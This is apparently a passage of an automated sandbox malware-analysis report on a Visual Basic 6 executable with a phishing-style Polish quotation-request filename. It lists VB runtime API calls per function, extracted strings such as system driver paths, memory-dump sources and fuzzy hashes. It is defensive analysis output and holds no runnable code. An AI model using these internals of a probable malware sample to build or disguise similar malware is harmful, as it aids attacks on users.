__vbaStrCat.MSVBVM60(00000000,00406F58,00000000,00000001), ref: 0041639A
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9

Strings

d/m/yy h:m, xrefs: 00416560, 00417E40
system32\drivers\, xrefs: 00416C93, 00417F4F, 0041854A
system\, xrefs: 0041702F, 0041834B, 00418442, 00418946, 00418A3E

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Error$Move$System$BoundsFreeGenerateUnlock
String ID: d/m/yy h:m$system32\drivers\$system\
API String ID: 4109330638-2282477228
Opcode ID: 161571ce6ef3f7305a61f0ace64fbd078412d40ef427ac6ccd469720dc9a114e
Instruction ID: d0160703c745c1a143ef53c75ac1b7ca3f1d84f450066f924383876c7bbd0f3b
Opcode Fuzzy Hash: 161571ce6ef3f7305a61f0ace64fbd078412d40ef427ac6ccd469720dc9a114e
Instruction Fuzzy Hash: 93336D71A00219DFCB14DFA4DD84AEEB7B9FF48300F10816AE50AE7265DB749985CF68

Function 00422F50 Relevance: 684.7, APIs: 386, Strings: 4, Instructions: 2188COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(?,00000000), ref: 0042317F
__vbaStrCopy.MSVBVM60(?,00000000), ref: 00423187
__vbaOnError.MSVBVM60(00000001,?,00000000), ref: 0042318B
__vbaRecUniToAnsi.MSVBVM60(00406E0C,?,?,00000160,00000101,?,00000000), ref: 004231B6
__vbaStrToAnsi.MSVBVM60(?,?,00000000,00000000,?,00000000), ref: 004231C9
__vbaSetSystemError.MSVBVM60(00000000,?,00000000), ref: 004231D5
__vbaRecAnsiToUni.MSVBVM60(00406E0C,?,?,?,00000000), ref: 004231EE
__vbaRecUniToAnsi.MSVBVM60(00406E0C,?,?,00000160,00000100,?,00000000), ref: 00423227
__vbaStrToAnsi.MSVBVM60(?,?,00000000,00000000,?,00000000), ref: 0042323A
__vbaSetSystemError.MSVBVM60(00000000,?,00000000), ref: 00423246
__vbaRecAnsiToUni.MSVBVM60(00406E0C,?,?,?,00000000), ref: 0042325F
__vbaStrToUnicode.MSVBVM60(?,?,?,00000000), ref: 00423270
__vbaFreeStr.MSVBVM60(?,00000000), ref: 0042327C
__vbaHresultCheckObj.MSVBVM60(00000000,6CF8D83C,004098D4,00000278,?,00000000), ref: 004232A2
__vbaI2I4.MSVBVM60(?,00000000), ref: 004232B1
__vbaHresultCheckObj.MSVBVM60(00000000,6CF8D83C,004098D4,0000011C,?,00000000), ref: 004232D1
__vbaHresultCheckObj.MSVBVM60(00000000,6CF8D83C,004098D4,00000084,?,00000000), ref: 0042331C
__vbaHresultCheckObj.MSVBVM60(00000000,6CF8D83C,004098D4,0000008C,?,00000000), ref: 00423364
__vbaHresultCheckObj.MSVBVM60(00000000,6CF8D83C,004098D4,00000154,?,00000000), ref: 00423389
__vbaHresultCheckObj.MSVBVM60(00000000,6CF8D83C,004098D4,00000050,?,00000000), ref: 004233AD
__vbaHresultCheckObj.MSVBVM60(00000000,6CF8D83C,004098D4,000000E0,?,00000000), ref: 004233E3
__vbaSetSystemError.MSVBVM60(?,00000000,00000000,?,?,?,00000000,00000000,00000003,?,00000000), ref: 00423409
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004098D4,00000264,?,00000000), ref: 0042343E
__vbaSetSystemError.MSVBVM60(?,?,00000000), ref: 00423450
__vbaRedim.MSVBVM60(00000180,00000004,?,00000008,00000002,00000003,00000000,?,00000000,?,00000000), ref: 00423478
__vbaI2I4.MSVBVM60 ref: 0042348C
__vbaI2I4.MSVBVM60 ref: 004234BF
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004098D4,00000284), ref: 0042354C
__vbaI2I4.MSVBVM60(?,?), ref: 00423574
__vbaI2I4.MSVBVM60(?,?), ref: 00423592
__vbaI2I4.MSVBVM60(?,?), ref: 004235B0
#537.MSVBVM60(00000000,?), ref: 004235F6
__vbaStrMove.MSVBVM60 ref: 00423600
__vbaStrCat.MSVBVM60(00000000), ref: 00423603
__vbaStrMove.MSVBVM60 ref: 0042360D
#537.MSVBVM60(00000000,00000000), ref: 00423612
__vbaStrMove.MSVBVM60 ref: 0042361C
__vbaStrCat.MSVBVM60(00000000), ref: 0042361F
__vbaStrMove.MSVBVM60 ref: 00423629
#537.MSVBVM60(00000000,00000000), ref: 0042362E
__vbaStrMove.MSVBVM60 ref: 00423638
__vbaStrCat.MSVBVM60(00000000), ref: 0042363B
__vbaStrMove.MSVBVM60 ref: 00423645
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 0042366C
#537.MSVBVM60(?,?), ref: 00423695
__vbaStrMove.MSVBVM60 ref: 0042369F
__vbaStrCat.MSVBVM60(00000000), ref: 004236A2
__vbaStrMove.MSVBVM60 ref: 004236AC
#537.MSVBVM60(?,00000000), ref: 004236B7
__vbaStrMove.MSVBVM60 ref: 004236C1
__vbaStrCat.MSVBVM60(00000000), ref: 004236C4
__vbaStrMove.MSVBVM60 ref: 004236CE
#537.MSVBVM60(?,00000000), ref: 004236D9
__vbaStrMove.MSVBVM60 ref: 004236E3
__vbaStrCat.MSVBVM60(00000000), ref: 004236E6
__vbaStrMove.MSVBVM60 ref: 004236F0
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 00423717
__vbaI2I4.MSVBVM60 ref: 00423774
__vbaGenerateBoundsError.MSVBVM60 ref: 004237C7
__vbaGenerateBoundsError.MSVBVM60 ref: 004237DF
__vbaGenerateBoundsError.MSVBVM60 ref: 004237FF
__vbaStrCopy.MSVBVM60 ref: 00423812
__vbaI2I4.MSVBVM60 ref: 00423856
__vbaI2I4.MSVBVM60 ref: 00423888
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004098D4,00000284), ref: 0042390C
__vbaGenerateBoundsError.MSVBVM60 ref: 00423950
_adj_fdiv_m64.MSVBVM60 ref: 00423985
__vbaR8IntI4.MSVBVM60 ref: 00423994
__vbaGenerateBoundsError.MSVBVM60 ref: 004239A7
__vbaGenerateBoundsError.MSVBVM60 ref: 004239CD
__vbaStrCmp.MSVBVM60(0040A0E4,00000000), ref: 004239DE
__vbaGenerateBoundsError.MSVBVM60 ref: 00423A15
_adj_fdiv_m64.MSVBVM60 ref: 00423A46
__vbaR8IntI4.MSVBVM60 ref: 00423A55
__vbaGenerateBoundsError.MSVBVM60 ref: 00423A68
__vbaGenerateBoundsError.MSVBVM60 ref: 00423A88
__vbaStrCopy.MSVBVM60 ref: 00423A97
__vbaGenerateBoundsError.MSVBVM60 ref: 00423AC6
_adj_fdiv_m64.MSVBVM60 ref: 00423AF7
__vbaR8IntI4.MSVBVM60 ref: 00423B06
__vbaGenerateBoundsError.MSVBVM60 ref: 00423B19
__vbaGenerateBoundsError.MSVBVM60 ref: 00423B39
__vbaGenerateBoundsError.MSVBVM60 ref: 00423B6A
_adj_fdiv_m64.MSVBVM60 ref: 00423B9F
__vbaR8IntI4.MSVBVM60 ref: 00423BAE
__vbaGenerateBoundsError.MSVBVM60 ref: 00423BC5
__vbaGenerateBoundsError.MSVBVM60 ref: 00423BF8
__vbaGenerateBoundsError.MSVBVM60 ref: 00423C40
_adj_fdiv_m64.MSVBVM60 ref: 00423C75
__vbaR8IntI4.MSVBVM60 ref: 00423C84
__vbaGenerateBoundsError.MSVBVM60 ref: 00423C97
__vbaGenerateBoundsError.MSVBVM60 ref: 00423CBD
__vbaStrCmp.MSVBVM60(0040A0E4,00000000), ref: 00423CCE
__vbaGenerateBoundsError.MSVBVM60 ref: 00423D05
_adj_fdiv_m64.MSVBVM60 ref: 00423D36
__vbaR8IntI4.MSVBVM60 ref: 00423D45
__vbaGenerateBoundsError.MSVBVM60 ref: 00423D58
__vbaGenerateBoundsError.MSVBVM60 ref: 00423D78
__vbaStrCopy.MSVBVM60 ref: 00423D87
__vbaGenerateBoundsError.MSVBVM60 ref: 00423DB6
_adj_fdiv_m64.MSVBVM60 ref: 00423DE7
__vbaR8IntI4.MSVBVM60 ref: 00423DF6
__vbaGenerateBoundsError.MSVBVM60 ref: 00423E09
__vbaGenerateBoundsError.MSVBVM60 ref: 00423E29
__vbaGenerateBoundsError.MSVBVM60 ref: 00423E5A
_adj_fdiv_m64.MSVBVM60 ref: 00423E8F
__vbaR8IntI4.MSVBVM60 ref: 00423E9E
__vbaGenerateBoundsError.MSVBVM60 ref: 00423EB5
__vbaGenerateBoundsError.MSVBVM60 ref: 00423ED3
__vbaStrCat.MSVBVM60(0040886C,00000000), ref: 00423EF0
__vbaStrMove.MSVBVM60 ref: 00423EFA
__vbaStrCopy.MSVBVM60 ref: 00423F06
__vbaFreeStr.MSVBVM60 ref: 00423F12
__vbaI2I4.MSVBVM60 ref: 00423F6A
__vbaGenerateBoundsError.MSVBVM60 ref: 00423FB9
__vbaGenerateBoundsError.MSVBVM60 ref: 00423FD1
__vbaGenerateBoundsError.MSVBVM60 ref: 00423FED
__vbaStrCmp.MSVBVM60(0040A0E4,00000000), ref: 00424002
__vbaGenerateBoundsError.MSVBVM60 ref: 00424035
__vbaGenerateBoundsError.MSVBVM60 ref: 0042404D
__vbaGenerateBoundsError.MSVBVM60 ref: 00424069
#537.MSVBVM60(?,?), ref: 00424089
__vbaStrMove.MSVBVM60(?,?), ref: 00424097
__vbaStrCat.MSVBVM60(00000000,?,?), ref: 0042409A
__vbaStrMove.MSVBVM60(?,?), ref: 004240A4
__vbaFreeStr.MSVBVM60(?,?), ref: 004240AC
__vbaStrCat.MSVBVM60(?,?), ref: 00424100
__vbaStrMove.MSVBVM60 ref: 0042410A
#537.MSVBVM60(00000000), ref: 0042410E
_adj_fdiv_m64.MSVBVM60(00000008,?), ref: 00424187
__vbaLenBstr.MSVBVM60(?,00000008,?), ref: 004241B2
__vbaFpI4.MSVBVM60(?,00000008,?), ref: 004241E0
#606.MSVBVM60(00000000,?,00000008,?), ref: 004241ED
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004241F7
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 004241FA
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424204
__vbaFreeStr.MSVBVM60(?,00000008,?), ref: 0042420C
__vbaFreeVar.MSVBVM60(?,00000008,?), ref: 00424218
#537.MSVBVM60(00000000,?,00000008,?), ref: 0042422A
#537.MSVBVM60(00000000,?,00000008,?), ref: 00424242
#537.MSVBVM60(00000000,?,00000008,?), ref: 0042425A
#537.MSVBVM60(00000000,?,00000008,?), ref: 00424272
#537.MSVBVM60(00000000,?,00000008,?), ref: 0042428A
#537.MSVBVM60(00000000,?,00000008,?), ref: 004242A2
#537.MSVBVM60(00000000,?,00000008,?), ref: 004242BA
#537.MSVBVM60(00000000,?,00000008,?), ref: 004242D2
#537.MSVBVM60(00000000,?,00000008,?), ref: 004242EA
#606.MSVBVM60(00000002,00000008,?,00000008,?), ref: 00424309
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424313
#537.MSVBVM60(00000001,00000000,?,00000008,?), ref: 00424318
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424326
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 00424329
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424333
#537.MSVBVM60(00000000,00000000,?,00000008,?), ref: 00424338
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424346
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 00424349
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424353
#537.MSVBVM60(00000001,00000000,?,00000008,?), ref: 00424358
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424366
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 00424369
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424373
#537.MSVBVM60(00000000,00000000,?,00000008,?), ref: 00424378
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424386
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 00424389
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424393
#537.MSVBVM60(00000010,00000000,?,00000008,?), ref: 00424398
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004243A6
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 004243A9
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004243B3
#537.MSVBVM60(00000010,00000000,?,00000008,?), ref: 004243B8
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004243C6
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 004243C9
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004243D3
#606.MSVBVM60(00000006,00000008,00000000,?,00000008,?), ref: 004243DF
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004243E9
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 004243EC
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004243F6
#581.MSVBVM60(&H68,00000000,?,00000008,?), ref: 004243FE
__vbaFpI4.MSVBVM60(?,00000008,?), ref: 00424404
#537.MSVBVM60(00000000,?,00000008,?), ref: 0042440B
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424419
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 0042441C
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424426
#537.MSVBVM60(00000003,00000000,?,00000008,?), ref: 0042442B
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424439
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 0042443C
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424446
#606.MSVBVM60(00000002,00000008,00000000,?,00000008,?), ref: 00424452
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 0042445C
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 0042445F
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424469
#537.MSVBVM60(00000016,00000000,?,00000008,?), ref: 0042446E
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 0042447C
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 0042447F
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424489
#606.MSVBVM60(00000003,00000008,00000000,?,00000008,?), ref: 00424495
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 0042449F
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 004244A2
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004244AC
#537.MSVBVM60(00000028,00000000,?,00000008,?), ref: 004244B1
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004244BF
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 004244C2
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004244CC
#606.MSVBVM60(00000003,00000008,00000000,?,00000008,?), ref: 004244D8
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004244E2
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 004244E5
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004244EF
#537.MSVBVM60(00000010,00000000,?,00000008,?), ref: 004244F4
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424502
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 00424505
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 0042450F
#606.MSVBVM60(00000003,00000008,00000000,?,00000008,?), ref: 0042451B
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424525
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 00424528
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424532
#537.MSVBVM60(00000020,00000000,?,00000008,?), ref: 00424537
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424545
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 00424548
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424552
#606.MSVBVM60(00000003,00000008,00000000,?,00000008,?), ref: 0042455E
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424568
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 0042456B
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424575
#537.MSVBVM60(00000001,00000000,?,00000008,?), ref: 0042457A
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424588
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 0042458B
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424595
#537.MSVBVM60(00000000,00000000,?,00000008,?), ref: 0042459A
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004245A8
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 004245AB
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004245B5
#537.MSVBVM60(00000018,00000000,?,00000008,?), ref: 004245BA
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004245C8
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 004245CB
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004245D5
#606.MSVBVM60(00000005,00000008,00000000,?,00000008,?), ref: 004245E1
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004245EB
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 004245EE
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004245F8
#537.MSVBVM60(00000040,00000000,?,00000008,?), ref: 004245FD
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 0042460B
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 0042460E
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424618
#537.MSVBVM60(00000003,00000000,?,00000008,?), ref: 0042461D
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 0042462B
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 0042462E
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424638
#606.MSVBVM60(00000012,00000008,00000000,?,00000008,?), ref: 00424644
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 0042464E
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 00424651
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 0042465B
__vbaStrCat.MSVBVM60(?,00000000,?,00000008,?), ref: 00424665
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 0042466F
__vbaFreeStrList.MSVBVM60(00000033,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004247D8
__vbaFreeVarList.MSVBVM60(00000009,00000008,00000008,00000008,00000008,00000008,00000008,00000008,00000008,00000008,?,00000008,?), ref: 0042481F
#648.MSVBVM60(0000000A), ref: 00424E2A
__vbaFreeVar.MSVBVM60 ref: 00424E3C
__vbaI2I4.MSVBVM60(?), ref: 00424E4E
__vbaFileOpen.MSVBVM60(00000220,000000FF,00000000), ref: 00424E58
__vbaI2I4.MSVBVM60 ref: 00424E60
__vbaPut3.MSVBVM60(00000000,?,00000000), ref: 00424E6C
__vbaI2I4.MSVBVM60 ref: 00424E74
__vbaFileClose.MSVBVM60(00000000), ref: 00424E77
__vbaExitProc.MSVBVM60 ref: 00424E87
__vbaAryDestruct.MSVBVM60(00000000,?,004250AB,?,00000000), ref: 00425084
__vbaFreeStr.MSVBVM60(?,00000000), ref: 00425093
__vbaFreeStr.MSVBVM60(?,00000000), ref: 00425098
__vbaFreeStr.MSVBVM60(?,00000000), ref: 004250A0
__vbaFreeStr.MSVBVM60(?,00000000), ref: 004250A8
__vbaErrorOverflow.MSVBVM60(?,00000000), ref: 004250CA

Strings

x.@, xrefs: 00423282, 004232D7, 004238A9, 004234E5
, xrefs: 00424830
&HA8, xrefs: 00424A0B
&H68, xrefs: 004243F9

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Move$Error$#537$BoundsGenerate$Free$#606CheckHresult$_adj_fdiv_m64$AnsiCopy$ListSystem$File$#581#648BstrCloseDestructExitOpenOverflowProcPut3RedimUnicode
String ID: $&H68$&HA8$x.@
API String ID: 3305104701-3742186716
Opcode ID: 37f84d4a9c39c7a1c50757bcf0e40db309af58f8b6e847605082b1ec1b3a9c81
Instruction ID: 7b234b66774b24242b66e43e3622a6720749bc198b4922623ead5fbfde0b20dd
Opcode Fuzzy Hash: 37f84d4a9c39c7a1c50757bcf0e40db309af58f8b6e847605082b1ec1b3a9c81
Instruction Fuzzy Hash: E013FA71E002289BCB25DF65DD84ADABBB9FF48301F5081EAE10AA6250DF745F85CF64

Function 0041F830 Relevance: 90.6, APIs: 60, Instructions: 579COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(00000000,6CF8D8B1,6CF8DF85), ref: 0041F894
__vbaAryConstruct2.MSVBVM60(?,0040A070,00000011), ref: 0041F8A1
__vbaOnError.MSVBVM60(00000001), ref: 0041F8A9
__vbaUbound.MSVBVM60(00000001), ref: 0041F8B7
#648.MSVBVM60(0000000A), ref: 0041F8DB
__vbaFreeVar.MSVBVM60 ref: 0041F8ED
__vbaFileOpen.MSVBVM60(00000220,000000FF,00000000,?), ref: 0041F906
__vbaStrCopy.MSVBVM60 ref: 0041F914

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrMove.MSVBVM60(?), ref: 0041F92A

Part of subcall function 00411210: #594.MSVBVM60(?,6CF8D9F5,-00000001,6CF8D8B1), ref: 0041127A
Part of subcall function 00411210: __vbaFreeVar.MSVBVM60 ref: 00411283
Part of subcall function 00411210: __vbaLenBstr.MSVBVM60 ref: 0041128F
Part of subcall function 00411210: #631.MSVBVM60(?,?,0000000A), ref: 004112C8
Part of subcall function 00411210: __vbaStrMove.MSVBVM60(?,?,0000000A), ref: 004112D3
Part of subcall function 00411210: #516.MSVBVM60(00000000,?,?,0000000A), ref: 004112DA
Part of subcall function 00411210: __vbaFreeStr.MSVBVM60(?,?,0000000A), ref: 004112E9
Part of subcall function 00411210: __vbaFreeVar.MSVBVM60(?,?,0000000A), ref: 004112F2

__vbaStrMove.MSVBVM60(?), ref: 0041F93A
__vbaPut3.MSVBVM60(00000000,?,00000000), ref: 0041F94F
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 0041F95F
__vbaPut3.MSVBVM60(00000004,?,00000000), ref: 0041F975
__vbaLenBstr.MSVBVM60(00405414), ref: 0041F97C
#648.MSVBVM60(0000000A), ref: 0041F9CC
__vbaFreeVar.MSVBVM60 ref: 0041F9DE
__vbaGenerateBoundsError.MSVBVM60 ref: 0041F9FB
__vbaGenerateBoundsError.MSVBVM60 ref: 0041FA0C
__vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 0041FA29
__vbaGenerateBoundsError.MSVBVM60 ref: 0041FA46
__vbaGenerateBoundsError.MSVBVM60 ref: 0041FA57
#709.MSVBVM60(00000000,00406544,000000FF,00000000), ref: 0041FA6E
__vbaGenerateBoundsError.MSVBVM60 ref: 0041FAA5
__vbaGenerateBoundsError.MSVBVM60 ref: 0041FABA
#631.MSVBVM60(00000000,?,0000000A), ref: 0041FAE5
__vbaStrMove.MSVBVM60(?,-00000001,0000000A), ref: 0041FAF2
__vbaFreeVar.MSVBVM60(?,-00000001,0000000A), ref: 0041FAFE
__vbaLenBstr.MSVBVM60(00000000), ref: 0041FB11
#570.MSVBVM60(00000000), ref: 0041FB1F
__vbaPut3.MSVBVM60(00000004,0042C250,00000000), ref: 0041FB3F
__vbaPut3.MSVBVM60(00000000,0042C254,00000000), ref: 0041FB50
__vbaPut3.MSVBVM60(00000004,0042C24C,00000000), ref: 0041FB60
__vbaLenBstr.MSVBVM60(00000000), ref: 0041FB69
__vbaUI1I2.MSVBVM60(?,-00000001,0000000A), ref: 0041FB8E
__vbaUI1I2.MSVBVM60(?,-00000001,0000000A), ref: 0041FB9D
__vbaGenerateBoundsError.MSVBVM60(?,-00000001,0000000A), ref: 0041FBC1
__vbaUI1I2.MSVBVM60(?,-00000001,0000000A), ref: 0041FBCC
__vbaGenerateBoundsError.MSVBVM60 ref: 0041FC36
__vbaGenerateBoundsError.MSVBVM60(00000FEE), ref: 0041FCEA
__vbaGenerateBoundsError.MSVBVM60(00000FEE), ref: 0041FCFB
__vbaGenerateBoundsError.MSVBVM60(00000FEE), ref: 0041FD43
__vbaUI1I2.MSVBVM60(00000FEE), ref: 0041FD55
__vbaGenerateBoundsError.MSVBVM60 ref: 0041FD76
__vbaUI1I2.MSVBVM60 ref: 0041FDAA
__vbaUI1I2.MSVBVM60 ref: 0041FDD8
__vbaGenerateBoundsError.MSVBVM60 ref: 0041FE02
__vbaUI1I2.MSVBVM60 ref: 0041FE41
__vbaUI1I2.MSVBVM60 ref: 0041FE4D
__vbaGenerateBoundsError.MSVBVM60(-00000001,00000FED,00000000), ref: 0041FEAB
__vbaGenerateBoundsError.MSVBVM60(00000000), ref: 0041FEE3
__vbaGenerateBoundsError.MSVBVM60 ref: 0041FFDF
__vbaFileClose.MSVBVM60(00000000), ref: 00420025
__vbaFileSeek.MSVBVM60(00000000,00000000), ref: 0042003A
__vbaPut3.MSVBVM60(00000004,0042C24C,00000000), ref: 0042004A
__vbaFileSeek.MSVBVM60(-0042C250,00000000), ref: 00420070
__vbaFileClose.MSVBVM60(00000000), ref: 00420095
__vbaExitProc.MSVBVM60 ref: 004200A2
__vbaFreeStr.MSVBVM60(00420142), ref: 00420123
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0042013B
__vbaErrorOverflow.MSVBVM60 ref: 00420159

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Error$BoundsGenerate$Free$FileMovePut3$Bstr$#631$#516$#648CloseCopyOpenSeek$#570#594#709Construct2DestructExitListOverflowProcUbound
String ID:
API String ID: 380034392-0
Opcode ID: db36c0f1733d6b656f6f0f21110ea2e54cb1fc60724d0d05d8831d20435b8e45
Instruction ID: 84537c48718631c5227d11dd853d148d1c88204475b6f264efbcfc593f9f6461
Opcode Fuzzy Hash: db36c0f1733d6b656f6f0f21110ea2e54cb1fc60724d0d05d8831d20435b8e45
Instruction Fuzzy Hash: 2332CE35A00255CFCB249FA4E8857EDBBB1FF48340F54417AE405A7362DB7898C6CBA9

Function 004172E5 Relevance: 67.9, APIs: 45, Instructions: 372COMMON

Download Yara Rule

APIs

__vbaLenBstr.MSVBVM60(00000000), ref: 004172EC
#631.MSVBVM60(00000000,-00000001,?), ref: 0041731F
__vbaFreeStr.MSVBVM60 ref: 00417340
__vbaFreeVar.MSVBVM60 ref: 00417349
#616.MSVBVM60(00000000,00000000), ref: 00417370
#631.MSVBVM60(00000000,-00000003,0000000A,00000000), ref: 00417399
#616.MSVBVM60(00000000,00000000), ref: 004173C9
#631.MSVBVM60(00000000,-00000002,0000000A,00000000), ref: 004173F1
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00417414
__vbaFreeVar.MSVBVM60 ref: 00417420
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
